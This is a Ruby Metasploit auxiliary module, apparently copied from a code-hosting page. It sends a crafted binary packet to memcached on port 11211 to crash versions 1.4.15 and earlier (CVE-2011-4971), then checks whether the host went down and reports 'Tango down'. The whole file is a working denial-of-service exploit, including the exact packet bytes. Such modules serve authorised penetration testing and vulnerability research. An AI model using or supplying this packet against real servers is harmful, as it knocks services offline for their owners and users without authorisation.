67 lines
1.8 KiB
Ruby
67 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Memcached Remote Denial of Service',
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'Description' => %q{
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This module sends a specially-crafted packet to cause a
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segmentation fault in memcached v1.4.15 or earlier versions.
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},
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'References' =>
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[
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[ 'URL', 'https://code.google.com/p/memcached/issues/detail?id=192' ],
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[ 'CVE', '2011-4971' ],
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[ 'OSVDB', '92867' ]
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],
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'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ],
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'License' => MSF_LICENSE
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))
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register_options([Opt::RPORT(11211),], self.class)
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end
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def is_alive?
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begin
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connect
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disconnect
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rescue Rex::ConnectionRefused
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return false
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end
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return true
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end
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def run
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connect
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pkt = "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00"
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pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00"
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pkt << "\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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print_status("#{rhost}:#{rport} - Sending dos packet...")
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sock.put(pkt)
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disconnect
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print_status("#{rhost}:#{rport} - Checking host status...")
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select(nil, nil, nil, 1)
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if is_alive?
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print_error("#{rhost}:#{rport} - The DoS attempt did not work, host is still alive")
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else
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print_good("#{rhost}:#{rport} - Tango down") # WWJS - What would th3j35t3r say?
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end
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end
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end
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